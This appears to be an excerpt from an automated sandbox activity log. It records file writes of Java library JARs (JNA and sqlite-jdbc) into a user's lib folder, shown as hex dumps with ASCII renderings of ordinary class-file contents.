3e 23 86 cf 06 11 15 
92 3f a7 40 1f 2b 5b 
4e ae 60 14 9d 87 cd 
25 2e 53 b6 6d 16 87 
2d a3 54 32 4b 0a d4 
f1 89 f1 c3 0a 94 94 
82 d0 70 de 2e 39 86 
ed 4c 1b 56 d9 6c fd 
2f ff 14 b4 67 52 72 
33 63 0e 1b 99 d3 a6 
82 03 a3 67 8c 45 a3 
af ec e4 ac be 4c de 
ce 94 8b 45 d3 76 fa 
86 2b d3 31 a3 d0 af 
a0 2d 9d cb da 86 53 
2e f2 4a 7a 13 57 

.....P...].........x..x.k.....

....+A........6.P..X.E..pP.rgQ

...8.D..4<... t<....S...$...g.

..bx6....b......>$v........1|T

......5<....>..~,..)....>#....

..?.@.+[N.`....%.S.m..-

.T2K...

........p..9..L.V.l./...gRr3c.

.......g.E......L....E.v..+.1....-

....S..Jz.W

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 0f 4c 69 6e 65 4e 75 
6d 62 65 72 54 61 62 
6c 65 01 00 12 4c 6f 
63 61 6c 56 61 72 69 
61 62 6c 65 54 61 62 
6c 65 01 00 04 74 68 
69 73 01 00 10 57 33 
32 4b 65 79 62 6f 61 
72 64 55 74 69 6c 73 
01 00 0c 49 6e 6e 65 
72 43 6c 61 73 73 65 
73 01 00 35 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 4b 65 
79 62 6f 61 72 64 55 
74 69 6c 73 24 57 33 
32 4b 65 79 62 6f 61 
72 64 55 74 69 6c 73 
3b 01 00 08 74 6f 4e 
61 74 69 76 65 01 00 
05 28 49 49 29 49 01 
00 04 63 6f 64 65 01 
00 01 49 01 00 03 6c 
6f 63 01 00 0d 53 74 
61 63 6b 4d 61 70 54 
61 62 6c 65 01 00 09 
69 73 50 72 65 73 73 
65 64 01 00 05 28 49 
49 29 5a 01 00 07 6b 
65 79 63 6f 64 65 01 
00 08 6c 6f 63 61 74 
69 6f 6e 01 00 03 6c 
69 62 01 00 23 4c 63 
6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 

.LineNumberTable...Local
Variab
leTable...this...W32Keyboa
rdUt
ils...InnerClasses..5Lcom/s
un/
jna/platform/KeyboardUtils
$W32
KeyboardUtils;...toNative...
(I
I)I...code...I...loc...StackMa
pTable...isPressed...
(II)Z...k
eycode...location...lib..#Lc
om/sun/jna/platfo
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 30 00 59 00 34 00 
5b 00 37 00 5d 00 3d 
00 5e 00 43 00 5f 00 
47 00 61 00 4d 00 62 
00 51 00 64 00 54 00 
66 00 5a 00 67 00 60 
00 68 00 64 00 6a 00 
6a 00 6b 00 6e 00 6d 
00 71 00 6f 00 0f 00 
00 00 20 00 03 00 00 
00 73 00 10 00 13 00 
00 00 00 00 73 00 16 
00 17 00 01 00 00 00 
73 00 18 00 17 00 02 
00 19 00 00 00 0e 00 
0c 0c 0b 01 0f 09 02 
0f 09 02 0f 09 02 00 
01 00 1a 00 1b 00 01 
00 0d 00 00 00 78 00 
04 00 04 00 00 00 1c 
b2 00 05 4e 2d 2a 1b 
1c b7 00 06 b9 00 07 
02 00 12 08 7e 99 00 
07 04 a7 00 04 03 ac 
00 00 00 03 00 0e 00 
00 00 0a 00 02 00 00 
00 72 00 04 00 73 00 
0f 00 00 00 2a 00 04 
00 00 00 1c 00 10 00 
13 00 00 00 00 00 1c 
00 1c 00 17 00 01 00 
00 00 1c 00 1d 00 17 
00 02 00 04 00 18 00 
1e 00 1f 00 03 00 19 
00 00 00 0a 00 02 fc 
00 1a 07 00 20 40 01 
10 00 00 

.0.Y.4.
[.7.].=.^.C._.G.a.M.b.Q
.d.T.f.Z.g.`.h.d.j.j.k.n.m.q.o
..... .....s.........s........
.s............................
...........x...........N-*....
........~.....................
...r...s.....*................
....................................... 
@....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 0a 00 21 00 00 00 
00 10 08 00 0a 00 2f 
00 32 04 0a 50 4b 03 
04 0a 00 00 08 00 00 
96 8c 5e 4f a2 40 1f 
2c 78 09 00 00 78 09 
00 00 39 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 4b 65 
79 62 6f 61 72 64 55 
74 69 6c 73 24 58 31 
31 4b 65 79 62 6f 61 
72 64 55 74 69 6c 73 
2e 63 6c 61 73 73 ca 
fe ba be 00 00 00 32 
00 65 0a 00 16 00 40 
0a 00 17 00 41 07 00 
42 07 00 43 03 00 00 
ff e1 03 00 00 ff e4 03 
00 00 ff e3 03 00 00 ff 
ea 03 00 00 ff e9 03 
00 00 ff e8 03 00 00 ff 
e7 09 00 04 00 44 0b 
00 04 00 45 07 00 46 
08 00 47 0a 00 0e 00 
48 0b 00 04 00 49 0a 
00 16 00 4a 0b 00 04 
00 4b 0a 00 4c 00 4d 
0b 00 04 00 4e 07 00 
50 07 00 51 01 00 06 
3c 69 6e 69 74 3e 01 
00 03 28 29 56 01 00 
04 43 6f 64 65 01 00 
0f 4c 69 6e 65 4e 75 
6d 62 65 72 54 61 

...!........./.2..PK..........
^O.@.,x...x...9...com/sun/jn
a/
platform/KeyboardUtils$X1
1Keyb
oardUtils.class.......2.e....@
....A..B..C...................
....................D....E..F.
.G....H....I....J....K..L.M...
.N..P..Q...<init>...
()V...Code...LineNumberTa
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 61 72 64 55 74 69 6c 
73 01 00 25 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 75 6e 69 
78 2f 58 31 31 24 44 
69 73 70 6c 61 79 01 
00 13 6a 61 76 61 2f 
6c 61 6e 67 2f 54 68 
72 6f 77 61 62 6c 65 
01 00 24 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 4b 65 79 62 
6f 61 72 64 55 74 69 
6c 73 24 31 01 00 08 
49 4e 53 54 41 4e 43 
45 01 00 0c 58 4f 70 
65 6e 44 69 73 70 6c 
61 79 01 00 3b 28 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 53 74 72 69 
6e 67 3b 29 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
44 69 73 70 6c 61 79 
3b 01 00 15 28 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 53 74 72 69 6e 
67 3b 29 56 01 00 0c 
58 51 75 65 72 79 4b 
65 79 6d 61 70 01 00 
2c 28 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 

ardUtils..%com/sun/jna/pla
tfor
m/unix/X11$Display...java/l
ang
/Throwable..$com/sun/jna/
platf
orm/KeyboardUtils$1...INS
TANCE...XOpenDisplay..;
(Ljava/lang/
String;)Lcom/sun/jna/platfo
rm/unix/X11$Display;...
(Ljava/lan
g/String;)V...XQueryKeym
ap..,(Lcom/sun/jna/pl

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 69 73 70 6c 61 79 3b 
42 49 29 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 75 6e 69 
78 2f 58 31 31 24 4b 
65 79 53 79 6d 3b 01 
00 24 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 4b 65 79 
53 79 6d 01 00 08 69 
6e 74 56 61 6c 75 65 
01 00 03 28 29 49 01 
00 0d 58 43 6c 6f 73 
65 44 69 73 70 6c 61 
79 01 00 2a 28 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
44 69 73 70 6c 61 79 
3b 29 49 01 00 22 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 4b 65 
79 62 6f 61 72 64 55 
74 69 6c 73 00 20 00 
16 00 17 00 00 00 00 
00 04 00 02 00 18 00 
19 00 01 00 1a 00 00 
00 30 00 02 00 01 00 
00 00 06 2a 01 b7 00 
02 b1 00 00 00 02 00 
1b 00 00 00 06 00 01 
00 

isplay;BI)Lcom/sun/jna/plat
for
m/unix/X11$KeySym;..$co
m/sun/j
na/platform/unix/X11$Key
Sym...intValue...
()I...XCloseDisplay..*
(Lcom/sun/jna/platform/uni
x
/X11$Display;)I.."com/sun/j
na/platform/KeyboardUtils. 
.......................0........*...
...............
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 4b 07 00 39 0d 10 00 
00 18 00 3b 00 01 00 
1a 00 00 00 39 00 01 
00 02 00 00 00 05 2a 
b7 00 01 b1 00 00 00 
02 00 1b 00 00 00 06 
00 01 00 00 00 7b 00 
1c 00 00 00 16 00 02 
00 00 00 05 00 1d 00 
20 00 00 00 00 00 05 
00 3c 00 3d 00 01 00 
02 00 3e 00 00 00 02 
00 3f 00 1f 00 00 00 
2a 00 05 00 16 00 4f 
00 1e 00 0a 00 33 00 
04 00 34 00 09 00 3a 
00 00 00 00 10 08 00 
17 00 4f 00 52 04 0a 
00 4c 00 04 00 5d 00 
09 50 4b 03 04 0a 00 
00 08 00 00 96 8c 5e 
4f d0 b9 d9 61 39 07 
00 00 39 07 00 00 28 
00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 4b 65 79 62 
6f 61 72 64 55 74 69 
6c 73 2e 63 6c 61 73 
73 ca fe ba be 00 00 
00 32 00 61 0a 00 1b 
00 36 09 00 1a 00 37 
0a 00 21 00 38 0a 00 
21 00 39 0a 00 3a 00 
3b 07 00 3c 08 00 3d 
0a 00 06 00 3e 0a 00 
3f 00 40 

K..9......;.......9........*..
.................{............... .......
<.=.....>.....?....
.*.....O.....3...4...:........
.O.R...L...]..PK..........^O..
.a9...9...
(...com/sun/jna/plat
form/KeyboardUtils.class...
....2.a....6....7..!.8..!.9..:.;..
<..=....>..?.@

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 10 58 31 31 4b 65 79 
62 6f 61 72 64 55 74 
69 6c 73 01 00 10 4d 
61 63 4b 65 79 62 6f 
61 72 64 55 74 69 6c 
73 01 00 10 57 33 32 
4b 65 79 62 6f 61 72 
64 55 74 69 6c 73 07 
00 51 01 00 13 4e 61 
74 69 76 65 4b 65 79 
62 6f 61 72 64 55 74 
69 6c 73 01 00 08 49 
4e 53 54 41 4e 43 45 
01 00 38 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 4b 65 79 
62 6f 61 72 64 55 74 
69 6c 73 24 4e 61 74 
69 76 65 4b 65 79 62 
6f 61 72 64 55 74 69 
6c 73 3b 01 00 06 3c 
69 6e 69 74 3e 01 00 
03 28 29 56 01 00 04 
43 6f 64 65 01 00 0f 
4c 69 6e 65 4e 75 6d 
62 65 72 54 61 62 6c 
65 01 00 12 4c 6f 63 
61 6c 56 61 72 69 61 
62 6c 65 54 61 62 6c 
65 01 00 04 74 68 69 
73 01 00 24 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 4b 65 
79 62 6f 61 72 64 55 
74 69 6c 

.X11KeyboardUtils...MacK
eyboar
dUtils...W32KeyboardUtils.
.Q..
.NativeKeyboardUtils...INS
TANC
E..8Lcom/sun/jna/platform/
Keyb
oardUtils$NativeKeyboard
Utils;...<init>...
()V...Code...LineN
umberTable...LocalVariabl
eTabl
e...this..$Lcom/sun/jna/plat
form/KeyboardUtil

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6e 64 6f 77 73 01 00 
29 28 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 4b 65 79 62 
6f 61 72 64 55 74 69 
6c 73 24 31 3b 29 56 
01 00 05 69 73 4d 61 
63 01 00 06 61 70 70 
65 6e 64 01 00 2d 28 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 53 74 72 
69 6e 67 3b 29 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 53 74 72 69 6e 
67 42 75 69 6c 64 65 
72 3b 01 00 10 6a 61 
76 61 2f 6c 61 6e 67 
2f 53 79 73 74 65 6d 
01 00 0b 67 65 74 50 
72 6f 70 65 72 74 79 
01 00 26 28 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 53 74 72 69 6e 67 
3b 29 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 53 
74 72 69 6e 67 3b 01 
00 08 74 6f 53 74 72 
69 6e 67 01 00 14 28 
29 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 53 74 
72 69 6e 67 3b 00 21 
00 1a 00 1b 00 00 00 
01 00 18 00 23 00 24 
00 00 00 04 00 01 00 
25 00 26 00 01 00 27 
00 00 00 

ndows..)
(Lcom/sun/jna/platform
/KeyboardUtils$1;)V...isMa
c...append..-
(Ljava/lang/String;)L
java/lang/StringBuilder;...ja
v
a/lang/System...getPropert
y..&
(Ljava/lang/String;)Ljava/la
ng/String;...toString...
()Ljava/
lang/String;.!...........#.$..
.....%.&...'...

success or wait 2 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 00 41 00 29 00 00 
00 16 00 02 00 00 00 
09 00 2e 00 2f 00 00 
00 00 00 09 00 30 00 
2f 00 01 00 09 00 2c 
00 31 00 01 00 27 00 
00 00 32 00 02 00 01 
00 00 00 08 b2 00 02 
1a b6 00 04 ac 00 00 
00 02 00 28 00 00 00 
06 00 01 00 00 00 44 
00 29 00 00 00 0c 00 
01 00 00 00 08 00 2e 
00 2f 00 00 00 08 00 
32 00 26 00 01 00 27 
00 00 00 a8 00 04 00 
00 00 00 00 60 b8 00 
05 99 00 0d bb 00 06 
59 12 07 b7 00 08 bf 
b8 00 09 99 00 11 bb 
00 0a 59 01 b7 00 0b 
b3 00 02 a7 00 3e b8 
00 0c 99 00 2d bb 00 
0d 59 01 b7 00 0e b3 
00 02 bb 00 0f 59 bb 
00 10 59 b7 00 11 12 
12 b6 00 13 12 14 b8 
00 15 b6 00 13 b6 00 
16 b7 00 17 bf bb 00 
18 59 01 b7 00 19 b3 
00 02 b1 00 00 00 02 
00 28 00 00 00 2a 00 
0a 00 00 00 30 00 06 
00 31 00 10 00 33 00 
16 00 34 00 24 00 36 
00 2a 00 37 00 35 00 
38 00 47 

..A.)............./.......0./.

....,.1...'...2.....................
(.........D.)...........
../.....2.&...'...........`...
......Y...............Y.........>.....-
...Y..........Y...Y..
........................Y.............
(...*.....0...1...3...
4.$.6.*.7.5.8.G
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 0e 00 00 00 01 00 
0f 00 10 00 01 00 09 
00 00 00 4e 00 02 00 
03 00 00 00 10 2b c0 
00 02 b4 00 03 2c c0 
00 02 b4 00 03 64 ac 
00 00 00 02 00 0a 00 
00 00 06 00 01 00 00 
00 3d 00 0b 00 00 00 
20 00 03 00 00 00 10 
00 0c 00 0e 00 00 00 
00 00 10 00 11 00 12 
00 01 00 00 00 10 00 
13 00 12 00 02 00 04 
00 14 00 00 00 02 00 
15 00 16 00 00 00 02 
00 17 00 18 00 00 00 
04 00 19 00 00 00 0d 
00 00 00 0a 00 01 00 
04 00 00 00 00 00 08 
50 4b 03 04 0a 00 00 
08 00 00 96 8c 5e 4f 
49 76 85 bd 0f 01 00 
00 0f 01 00 00 39 00 
00 00 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 52 61 73 74 65 
72 52 61 6e 67 65 73 
55 74 69 6c 73 24 52 
61 6e 67 65 73 4f 75 
74 70 75 74 2e 63 6c 
61 73 73 ca fe ba be 
00 00 00 32 00 0d 07 
00 08 07 00 0b 01 00 
0b 6f 75 74 70 75 74 
52 61 6e 

.................N........+...

...,......d................=..... 

..........................

..............................

....................PK........

..^OIv..........9...com/sun/jn
a/platform/RasterRangesU
tils$R
angesOutput.class.......2....
.......outputRan

success or wait 3 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6c 73 24 52 61 6e 67 
65 73 4f 75 74 70 75 
74 01 00 0c 52 61 6e 
67 65 73 4f 75 74 70 
75 74 01 00 0c 49 6e 
6e 65 72 43 6c 61 73 
73 65 73 01 00 10 6a 
61 76 61 2f 6c 61 6e 
67 2f 4f 62 6a 65 63 
74 01 00 26 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 52 61 73 
74 65 72 52 61 6e 67 
65 73 55 74 69 6c 73 
06 01 00 01 00 02 00 
00 00 00 00 01 04 01 
00 03 00 04 00 00 00 
02 00 05 00 00 00 02 
00 06 00 0a 00 00 00 
0a 00 01 00 01 00 07 
00 09 06 09 50 4b 03 
04 0a 00 00 08 00 00 
96 8c 5e 4f bc e9 da 
00 5d 17 00 00 5d 17 
00 00 2c 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 52 61 
73 74 65 72 52 61 6e 
67 65 73 55 74 69 6c 
73 2e 63 6c 61 73 73 
ca fe ba be 00 00 00 
32 00 ed 0a 00 33 00 
8a 0a 00 8b 00 8c 0a 
00 8b 00 8d 0a 00 8e 
00 8f 

ls$RangesOutput...Ranges
Output
...InnerClasses...java/lang/
Ob
ject..&com/sun/jna/platfor
m/Ra
sterRangesUtils...............
..............................
.PK..........^O....]...]...,..
.com/sun/jna/platform/Rast
erRa
ngesUtils.class.......2....3..
...............
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 70 75 74 3b 01 00 06 
62 6f 75 6e 64 73 01 
00 14 4c 6a 61 76 61 
2f 61 77 74 2f 52 65 
63 74 61 6e 67 6c 65 
3b 01 00 0b 73 61 6d 
70 6c 65 4d 6f 64 65 
6c 01 00 1c 4c 6a 61 
76 61 2f 61 77 74 2f 
69 6d 61 67 65 2f 53 
61 6d 70 6c 65 4d 6f 
64 65 6c 3b 01 00 08 
68 61 73 41 6c 70 68 
61 01 00 01 5a 01 00 
06 70 69 78 65 6c 73 
01 00 0d 53 74 61 63 
6b 4d 61 70 54 61 62 
6c 65 07 00 a9 07 00 
bd 07 00 9e 07 00 be 
07 00 bc 01 00 22 6f 
75 74 70 75 74 4f 63 
63 75 70 69 65 64 52 
61 6e 67 65 73 4f 66 
42 69 6e 61 72 79 50 
69 78 65 6c 73 01 00 
3c 28 5b 42 49 49 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 52 
61 73 74 65 72 52 61 
6e 67 65 73 55 74 69 
6c 73 24 52 61 6e 67 
65 73 4f 75 74 70 75 
74 3b 29 5a 01 00 03 
63 6f 6c 01 00 01 49 
01 00 06 73 75 62 43 
6f 6c 

put;...bounds...Ljava/awt/R
ect
angle;...sampleModel...Lja
va/a
wt/image/SampleModel;...
hasAlp
ha...Z...pixels...StackMapT
abl
e................."outputOccup
iedRangesOfBinaryPixels..
<([BI
ILcom/sun/jna/platform/Ra
sterR
angesUtils$RangesOutput;
)Z...col...I...subCol

success or wait 3 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 74 61 72 74 43 6f 6c 
01 00 08 75 6e 6d 65 
72 67 65 64 01 00 03 
72 6f 77 01 00 01 72 
01 00 01 69 01 00 14 
4c 6a 61 76 61 2f 75 
74 69 6c 2f 49 74 65 
72 61 74 6f 72 3b 01 
00 0a 62 69 6e 61 72 
79 42 69 74 73 01 00 
02 5b 42 01 00 01 77 
01 00 01 68 01 00 05 
72 65 63 74 73 01 00 
08 70 72 65 76 4c 69 
6e 65 01 00 0d 73 63 
61 6e 6c 69 6e 65 42 
79 74 65 73 01 00 16 
4c 6f 63 61 6c 56 61 
72 69 61 62 6c 65 54 
79 70 65 54 61 62 6c 
65 01 00 25 4c 6a 61 
76 61 2f 75 74 69 6c 
2f 53 65 74 3c 4c 6a 
61 76 61 2f 61 77 74 
2f 52 65 63 74 61 6e 
67 6c 65 3b 3e 3b 01 
00 2a 4c 6a 61 76 61 
2f 75 74 69 6c 2f 49 
74 65 72 61 74 6f 72 
3c 4c 6a 61 76 61 2f 
61 77 74 2f 52 65 63 
74 61 6e 67 6c 65 3b 
3e 3b 07 00 6e 07 00 
bf 07 00 c0 01 00 3d 
28 5b 49 49 49 49 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 

tartCol...unmerged...row...r
...i...Ljava/util/Iterator;...bi
naryBits...[B...w...h...rects.
..prevLine...scanlineBytes..
.L
ocalVariableTypeTable..%
Ljava/
util/Set<Ljava/awt/Rectang
le;>
;..*Ljava/util/Iterator<Ljava/
awt/Rectangle;>;..n........=([
IIIILcom/sun/jn
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 e6 00 e7 0c 00 3d 00 
e8 0c 00 e9 00 e3 0c 
00 ea 00 eb 0c 00 ec 
00 dd 01 00 28 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 52 61 
73 74 65 72 52 61 6e 
67 65 73 55 74 69 6c 
73 24 31 01 00 26 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 52 61 
73 74 65 72 52 61 6e 
67 65 73 55 74 69 6c 
73 01 00 10 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 01 00 
33 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 52 61 73 74 65 72 
52 61 6e 67 65 73 55 
74 69 6c 73 24 52 61 
6e 67 65 73 4f 75 74 
70 75 74 01 00 1a 6a 
61 76 61 2f 61 77 74 
2f 69 6d 61 67 65 2f 
53 61 6d 70 6c 65 4d 
6f 64 65 6c 01 00 15 
6a 61 76 61 2f 61 77 
74 2f 69 6d 61 67 65 
2f 52 61 73 74 65 72 
01 00 0d 6a 61 76 61 
2f 75 74 69 6c 2f 53 
65 74 01 00 12 6a 61 
76 

.....=...................(com/
sun/jna/platform/RasterRa
ngesU
tils$1..&com/sun/jna/platfor
m/
RasterRangesUtils...java/l
ang/
Object..3com/sun/jna/platf
orm/
RasterRangesUtils$Range
sOutput
...java/awt/image/SampleM
odel.
..java/awt/image/Raster...j
ava/util/Set...jav

success or wait 6 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 14 e1 bb 97 10 1d c5 
c3 52 6a 82 bc 87 89 
b4 00 2d ca 33 97 db 
58 85 9b 80 cf a5 1a 
23 d5 38 57 ed 50 db 
35 ed 65 4c 6a 98 d0 
a8 9f 0b ee a4 aa 8a 
62 5f 89 96 49 fe 58 
e0 3d 5f 5e a0 2c c1 
b1 33 a2 ae 21 40 5c 
93 6a 4f 22 a2 5e c5 
76 42 15 f1 f5 46 d4 
65 dc 52 85 a5 83 4f 
60 89 02 1f 67 08 3d 
89 ed fc c8 14 e6 0e 
ba 4c 2a 46 76 12 94 
69 69 64 27 41 99 96 
46 76 4a 73 5b e5 4c 
98 ab f2 76 50 82 e1 
ab 89 8c 4e cf b4 71 
19 4f 4a d0 d3 fa 6d 
1c d9 56 3d ad 1d 5e 
f1 f1 19 8e ef b9 8a 5b 
f7 f2 47 45 57 b0 a3 
31 08 9f 93 ca dd ed 
d2 56 94 0b 53 b9 84 
3c 0f 53 b9 84 54 2e 
5c 51 2e ec 29 57 55 
29 5c 17 ac 27 39 9e 
c2 db 3d 4d e6 c9 5b 
40 a2 4b 4d 94 44 6f 
13 2d 2e 48 2d e2 2e 
5d 45 0b bd a2 85 5e 
89 03 dd 8b 83 aa 6c 
bd 4e f6 3b 38 3e d2 
44 b6 22 84 37 95 7d 
e5 15 

........Rj......-.3..X......#.
8W.P.5.eLj.........b_..I.X.=_
^
.,..3..!@\.jO".^.vB...F.e.R...
O`...g.=........L*Fv..iid'A..F
vJs[.L...vP.....N..q.OJ...m..
V=..^.......[..GEW..1.......V..
S..
<.S..T.\Q..)WU)\..'9...=M..
[@.KM.Do.-.H-..]E....^......l.
N.;8>.D.".7.}..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6d 70 6c 65 4d 6f 64 
65 6c 3b 01 00 0b 67 
65 74 4e 75 6d 42 61 
6e 64 73 01 00 03 28 
29 49 01 00 09 67 65 
74 50 61 72 65 6e 74 
01 00 19 28 29 4c 6a 
61 76 61 2f 61 77 74 
2f 69 6d 61 67 65 2f 
52 61 73 74 65 72 3b 
01 00 01 78 01 00 01 
79 01 00 0d 67 65 74 
44 61 74 61 42 75 66 
66 65 72 01 00 1d 28 
29 4c 6a 61 76 61 2f 
61 77 74 2f 69 6d 61 
67 65 2f 44 61 74 61 
42 75 66 66 65 72 3b 
01 00 0b 67 65 74 4e 
75 6d 42 61 6e 6b 73 
01 00 11 67 65 74 50 
69 78 65 6c 42 69 74 
53 74 72 69 64 65 01 
00 07 67 65 74 44 61 
74 61 01 00 04 28 29 
5b 42 01 00 05 77 69 
64 74 68 01 00 06 68 
65 69 67 68 74 01 00 
0b 67 65 74 44 61 74 
61 54 79 70 65 01 00 
04 28 29 5b 49 01 00 
09 67 65 74 50 69 78 
65 6c 73 01 00 0a 28 
49 49 49 49 5b 49 29 
5b 49 01 00 15 6a 61 
76 61 2f 75 74 69 6c 
2f 43 6f 

mpleModel;...getNumBand
s...()I...getParent...
()Ljava/awt/ima
ge/Raster;...x...y...getData
Buffer...
()Ljava/awt/image/DataB
uffer;...getNumBanks...get
PixelBitStride...getData...()
[B...
width...height...getDataTyp
e...()[I...getPixels...(IIII[I)[I
...java/util/Co

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 49 00 05 00 00 00 ca 
00 4a 00 4b 00 00 00 
00 00 ca 00 4c 00 4d 
00 01 00 05 00 c5 00 
4e 00 4f 00 02 00 0a 
00 c0 00 50 00 51 00 
03 00 19 00 b1 00 52 
00 53 00 04 00 af 00 
1b 00 54 00 38 00 05 
00 55 00 00 00 8a 00 
09 fd 00 16 07 00 56 
07 00 57 40 01 fd 00 
50 01 07 00 58 02 ff 
00 28 00 06 07 00 59 
07 00 5a 07 00 56 07 
00 57 01 07 00 58 00 
03 07 00 19 01 01 ff 
00 01 00 06 07 00 59 
07 00 5a 07 00 56 07 
00 57 01 07 00 58 00 
04 07 00 19 01 01 01 
fa 00 04 ff 00 27 00 
06 07 00 59 07 00 5a 
07 00 56 07 00 57 01 
07 00 19 00 03 07 00 
19 01 01 ff 00 01 00 
06 07 00 59 07 00 5a 
07 00 56 07 00 57 01 
07 00 19 00 04 07 00 
19 01 01 01 00 09 00 
5b 00 5c 00 01 00 3f 
00 00 03 8e 00 07 00 
10 00 00 01 66 bb 00 
1b 59 b7 00 1c 3a 04 
b8 00 1d 3a 05 2a be 
1c 6c 36 06 03 36 07 
15 07 1c 

I.......J.K.......L.M.......N.
O.......P.Q.......R.S.......T.
8...U...........V..W@...P...X.
..(....Y..Z..V..W...X.........
.....Y..Z..V..W...X...........
..'....Y..Z..V..W.............
.....Y..Z..V..W...............
[.\...?...........f...Y...:...
.:.*..l6..6....
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 6d 96 ad 75 d1 e8 29 
8d d3 d3 16 a2 96 d8 
42 a9 5f 83 38 5b d3 
5f 57 99 09 ba 42 54 
fa 68 c4 b6 15 cb 60 
42 02 1e 1c 7f 2c ab 
97 21 81 4e e8 5b a0 
b2 b9 39 b4 3e d8 ec 
94 ab 09 b6 84 dc b9 
9e 99 b0 c2 d2 d6 8e 
ae b6 b6 70 3b d2 96 
53 c9 5b c1 44 03 30 
dc 88 c0 20 95 3a 35 
a4 d8 20 f5 eb a5 be 
13 df 76 86 6d 50 11 
cf 79 ab 4b c7 27 e2 
5a be b6 0b 4d 3f 6d 
75 29 a1 7c 75 69 bf 
a3 8c ad 35 c9 2d 9a 
68 f4 09 ab 18 38 f1 
a1 ad c4 8b a1 56 05 
4f 59 c2 62 da ea 32 
e4 b3 08 e0 55 68 ca 
d0 04 b9 85 95 54 a5 
dc 99 0a de 3e d9 09 
ec 6f 12 ac d4 5d 65 
65 82 36 8c cd b6 41 
2c 1a ba 90 20 90 c5 
45 78 dd 3a 35 e3 7a 
b3 ea 3b bd 6f 1d 89 
16 53 a7 5d b8 25 b8 
55 3d 0c 8c 95 af e8 
61 38 32 76 f4 89 c0 
27 b5 e7 a4 68 62 90 
9f 10 ca 7e 86 a4 37 
87 83 8d 51 3e 89 da 
72 71 7c 

m..u..).......B._.8[._W...BT.
h....`B....,..!.N.[...9.>......
.............p;..S.[.D.0... .:5.. 
......v.mP..y.K.'.Z...M?mu
).|ui....5.-.h....8......V.OY.
b..2....Uh......T.....>...o...
]ee.6...A,... ..Ex.:5.z..;.o..
.S.].%.U=.....a82v...'...hb...
.~..7...Q>..rq|

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 0d 11 00 ff a0 00 0f 15 
